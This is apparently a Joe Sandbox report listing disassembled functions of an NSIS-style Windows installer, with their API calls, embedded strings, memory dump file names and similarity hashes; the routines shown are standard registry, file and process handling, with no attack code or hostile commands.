lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
RegCloseKey.ADVAPI32(?), ref: 004029E4

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Strings

WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
WriteReg: error creating key "%s\%s", xrefs: 004029F5
WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrlen$CloseCreateValuewvsprintf
String ID: WriteReg: error creating key "%s\%s"$WriteReg: error writing into "%s\%s" "%s"$WriteRegBin: "%s\%s" "%s"="%s"$WriteRegDWORD: "%s\%s" "%s"="0x%08x"$WriteRegExpandStr: "%s\%s" "%s"="%s"$WriteRegStr: "%s\%s" "%s"="%s"
API String ID: 1641139501-220328614
Opcode ID: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction ID: c6ff7831871a22410ebf281ca69ba80d881ba5d3dc99c3f31bea2db7712f227d
Opcode Fuzzy Hash: 066b4e300930aa0920c328732a1d1fc015c018ed119ca6dd3c3d5e24db852520
Instruction Fuzzy Hash: EE418BB2D00208BFCF11AF91CD46DEEBB7AEF44344F20807AF605761A2D3794A509B69

Function 00406113 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 72filestringCOMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(FFFFFFFF,00000000,?,?,00406300,00000000), ref: 0040612A
GetFileAttributesW.KERNEL32(00476240,?,00000000,00000000,?,?,00406300,00000000), ref: 00406168
WriteFile.KERNEL32(00000000,000000FF,00000002,00000000,00000000,00476240,40000000,00000004), ref: 004061A1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,00476240,40000000,00000004), ref: 004061AD
lstrcatW.KERNEL32(RMDir: RemoveDirectory invalid input(""),0040A678,?,00000000,00000000,?,?,00406300,00000000), ref: 004061C7
lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),?,?,00406300,00000000), ref: 004061CE
WriteFile.KERNEL32(RMDir: RemoveDirectory invalid input(""),00000000,00406300,00000000,?,?,00406300,00000000), ref: 004061E3

Strings

RMDir: RemoveDirectory invalid input(""), xrefs: 004061C1, 004061C6, 004061CD, 004061DC
@bG, xrefs: 00406162

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: File$Write$AttributesCloseHandlePointerlstrcatlstrlen
String ID: @bG$RMDir: RemoveDirectory invalid input("")
API String ID: 3734993849-3206598305
Opcode ID: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction ID: 195d9f7db6fc7c0c2d4377fc833027156c916e626c5a885f84869a8699de3d55
Opcode Fuzzy Hash: 48839086a200bf93aa32383a4ca0414da094928b154be734d4a38c22442d7c90
Instruction Fuzzy Hash: 0121C271500240EBD710ABA8DD88D9B3B6CEB06334B118336F52ABA1E1D7389D85C7AC

Function 00402E55 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 103memoryfileCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?,00000000,40000000,00000002,00000000,00000000,?,?,?,?,000000F0), ref: 00402EA9
GlobalAlloc.KERNEL32(00000040,?,00000000,?,?,?,?,?,?,000000F0), ref: 00402EC5
GlobalFree.KERNEL32(FFFFFD66), ref: 00402EFE
WriteFile.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,000000F0), ref: 00402F10
GlobalFree.KERNEL32(00000000), ref: 00402F17
CloseHandle.KERNEL32(?,?,?,?,?,000000F0), ref: 00402F2F
DeleteFileW.KERNEL32(?), ref: 00402F56

Strings

created uninstaller: %d, "%s", xrefs: 00402F3B

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Global$AllocFileFree$CloseDeleteHandleWrite
String ID: created uninstaller: %d, "%s"
API String ID: 3294113728-3145124454
Opcode ID: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction ID: bd1c3f70b2adfd396ae192ad3b35d3c6df9fc0ba6a3ee2c413e2f7d1cf6bca0f
Opcode Fuzzy Hash: 43406d439bebe3a41a7ad8946693a81c25abcec0bebba575c0e34f0bdeff8a90
Instruction Fuzzy Hash: CF319E72800115ABDB11AFA9CD89DAF7FB9EF08364F10023AF515B61E1C7394E419B98

Function 004023F0 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 83libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000001,000000F0), ref: 0040241C

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426979,759223A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040242D
FreeLibrary.KERNEL32(?,?), ref: 004024C3

Strings

Error registering DLL: %s not found in %s, xrefs: 0040249A
Error registering DLL: Could not load %s, xrefs: 004024DB
`G, xrefs: 0040246E
Error registering DLL: Could not initialize OLE, xrefs: 004024F1

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSendlstrlen$Library$FreeHandleLoadModuleTextWindowlstrcatwvsprintf
String ID: Error registering DLL: %s not found in %s$Error registering DLL: Could not initialize OLE$Error registering DLL: Could not load %s$`G
API String ID: 1033533793-4193110038
Opcode ID: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction ID: ac94b2829880799def153f2ab6d9fb01897d962df66ba524602deb4d09d833fb
Opcode Fuzzy Hash: dfa9fb55bab39987c49c05a208fb72d841c7d3de21fe9f712437cd20c315518e
Instruction Fuzzy Hash: AE21A635A00215FBDF20AFA1CE49A9D7E71AB44318F30817BF512761E1D6BD4A80DA5D

Function 00403DF6 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

GetWindowLongW.USER32(?,000000EB), ref: 00403E10
GetSysColor.USER32(00000000), ref: 00403E2C
SetTextColor.GDI32(?,00000000), ref: 00403E38
SetBkMode.GDI32(?,?), ref: 00403E44
GetSysColor.USER32(?), ref: 00403E57
SetBkColor.GDI32(?,?), ref: 00403E67
DeleteObject.GDI32(?), ref: 00403E81
CreateBrushIndirect.GDI32(?), ref: 00403E8B

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Color$BrushCreateDeleteIndirectLongModeObjectTextWindow
String ID:
API String ID: 2320649405-0
Opcode ID: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction ID: 46e75ec11a9703e62b9e59528547c83071966f0b6f932d53464b5ad1ffaeee7a
Opcode Fuzzy Hash: 2cd1843f4009558aed8999710a19f2fd839bd0fd7577925b5fb66d8747ca327a
Instruction Fuzzy Hash: CA116371500744ABCB219F78DD08B5BBFF8AF40715F048A2AE895E22A1D738DA44CB94

Function 00402238 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00426979,759223A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00426979,759223A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Part of subcall function 00405C6B: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00461DD0,Error launching installer), ref: 00405C90
Part of subcall function 00405C6B: CloseHandle.KERNEL32(?), ref: 00405C9D

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00402288
GetExitCodeProcess.KERNEL32(?,?), ref: 00402298
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00402AF2

Strings

Exec: success ("%s"), xrefs: 00402263
Exec: failed createprocess ("%s"), xrefs: 004022C2
Exec: command="%s", xrefs: 00402241

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: MessageSendlstrlen$CloseHandleProcess$CodeCreateExitObjectSingleTextWaitWindowlstrcatwvsprintf
String ID: Exec: command="%s"$Exec: failed createprocess ("%s")$Exec: success ("%s")
API String ID: 2014279497-3433828417
Opcode ID: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction ID: 042007ee205ef60e30064d08c60082207347e2967af2fac5581f577c4c1081ae
Opcode Fuzzy Hash: 6019f50a09c3a98591d7ac19e214774b8a762e16cd0fcb62cdb4911ff5dda7cf
Instruction Fuzzy Hash: 4E11A332504115EBDB01BFE1DE49AAE3A62EF04324B24807FF502B51D2C7BD4D51DA9D

Function 0040487A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00404895
GetMessagePos.USER32 ref: 0040489D
ScreenToClient.USER32(?,?), ref: 004048B5
SendMessageW.USER32(?,00001111,00000000,?), ref: 004048C7
SendMessageW.USER32(?,0000113E,00000000,?), ref: 004048ED

Strings

f, xrefs: 004048C9

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Message$Send$ClientScreen
String ID: f
API String ID: 41195575-1993550816
Opcode ID: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction ID: ebefa7930bdcd0e41c689069c6d494cf412fee4c497549fa98469d3d4217857c
Opcode Fuzzy Hash: dd0771fa492b48a0b3c5816c4430d79e7bf8162a268c2264a59d8032563336e2
Instruction Fuzzy Hash: 7A019E72A00219BAEB00DB94CC85BEEBBB8AF44710F10412ABB10B61D0C3B45A058BA4

Function 0040324C Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 40timeCOMMON

Download Yara Rule

APIs

SetTimer.USER32(?,00000001,000000FA,00000000), ref: 0040326A
MulDiv.KERNEL32(0002EE00,00000064,0012FFFF), ref: 00403295
wsprintfW.USER32 ref: 004032A5
SetWindowTextW.USER32(?,?), ref: 004032B5
SetDlgItemTextW.USER32(?,00000406,?), ref: 004032C7

Strings

verifying installer: %d%%, xrefs: 0040329F

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Text$ItemTimerWindowwsprintf
String ID: verifying installer: %d%%
API String ID: 1451636040-82062127
Opcode ID: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction ID: b5f4dff99bd495ec87a9693a0662ffae913500554fa258d9a040327637eece45
Opcode Fuzzy Hash: 3861699fe6b90eb98aefdbb76a6aac10e2c6ef9ed100297db3f2db1cf1739afe
Instruction Fuzzy Hash: F8014470640109BBEF109F60DC4AFEE3B68AB00309F008439FA05E51E1DB789A55CF58

Function 00406064 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
CharNextW.USER32(?,?,?,00000000), ref: 004060D6
CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF

Strings

*?|<>/":, xrefs: 004060B6

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Char$Next$Prev
String ID: *?|<>/":
API String ID: 589700163-165019052
Opcode ID: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction ID: be175804d259169a812840791ea7ca7df426672d81dd27f3292f2fdf866f60ab
Opcode Fuzzy Hash: 45da571b5baffeb551c3f596f843ba1ccba930a874212f5238eaf5e1151c3a30
Instruction Fuzzy Hash: E311C81188022159DB30FB698C4497776F8AE55750716843FE9CAF32C1E7BCDC9182BD

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GlobalFree.KERNEL32(006C0388), ref: 00402387

Strings

open, xrefs: 00401EFB, 00401F00, 00401F1A
Exch: stack < %d elements, xrefs: 00401ED8
Pop: stack empty, xrefs: 00401F2C

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: Exch: stack < %d elements$Pop: stack empty$open
API String ID: 1459762280-1711415406
Opcode ID: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction ID: 50a08f61e59307d203ec8fda99e8a78aa4432658e9e299f93ea532572e85a124
Opcode Fuzzy Hash: f687fe266335390464c7bf33a5a6109902a608d988a78738c483845962ee8b52
Instruction Fuzzy Hash: 4921FF72640001EBD710EF98DD81A6E77A8AA04358720413BF503F32E1DB799C11966D

Function 0040149D Relevance: 7.6, APIs: 5, Instructions: 67registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 004014BF
RegEnumKeyW.ADVAPI32(?,00000000,?,00000105), ref: 004014FB
RegCloseKey.ADVAPI32(?), ref: 00401504
RegCloseKey.ADVAPI32(?), ref: 00401529
RegDeleteKeyW.ADVAPI32(?,?), ref: 00401547

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction ID: c67b0bc93acae55c3864b02ebd95f02f7c15995ce12be8144693d1f813214158
Opcode Fuzzy Hash: 2a270dabeadf4e4f1a4763114e85c5fdf2352e77b68d80cc92c62b7e226f3bc1
Instruction Fuzzy Hash: EB117976500008FFDF119F90ED859AA3B7AFB84348F004476FA0AB5070D3358E509A29

Function 004022FD Relevance: 7.6, APIs: 5, Instructions: 56memoryCOMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(00000000,?,000000EE), ref: 0040230C
GlobalAlloc.KERNEL32(00000040,00000000,00000000,?,000000EE), ref: 0040232E
GetFileVersionInfoW.VERSION(?,?,?,00000000), ref: 00402347
VerQueryValueW.VERSION(?,00409838,?,?,?,?,?,00000000), ref: 00402360

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

GlobalFree.KERNEL32(006C0388), ref: 00402387

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: FileGlobalInfoVersion$AllocFreeQuerySizeValuewsprintf
String ID:
API String ID: 3376005127-0
Opcode ID: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction ID: 214764af72b390ffa64cdeb44d1c6cd0e8ca06a9e3a7070d0c65f9f565939ffa
Opcode Fuzzy Hash: 606da6def6221d12ef1392d662ca92edf1c337adf5941d48ecd243ca57024968
Instruction Fuzzy Hash: 0D112572A0010AAFDF00EFA1D9459AEBBB8EF08344B10447AF606F61A1D7798A40CB18

Function 00402B23 Relevance: 7.6, APIs: 5, Instructions: 54memoryfilestringCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,00002004), ref: 00402B2B
WideCharToMultiByte.KERNEL32(?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B61
lstrlenA.KERNEL32(?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B6A
WriteFile.KERNEL32(00000000,?,?,00000000,?,?,?,?,004100F0,000000FF,?,00002004,?,?,00000011), ref: 00402B85

Memory Dump Source

Source File: 00000000.00000002.2036889192.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2036859730.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036912745.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2036935835.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2037059509.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: AllocByteCharFileGlobalMultiWideWritelstrlen
String ID:
API String ID: 2568930968-0
Opcode ID: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction ID: eb70b36e00a6049791e454e439637436730f967712bedb277b0d85a94317bb29
Opcode Fuzzy Hash: 8e94f5e6955cf742f0be7e70fe548515adb6d38661ae1e1cc5866dac39eea37a
Instruction Fuzzy Hash: 7F016171600205FFEB14AF60DD4CE9E3B78EB05359F10443AF606B91E2D6799D81DB68

Function 0040209F Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?), ref: 004020A3
GetClientRect.USER32(00000000,?), ref: 004020B0
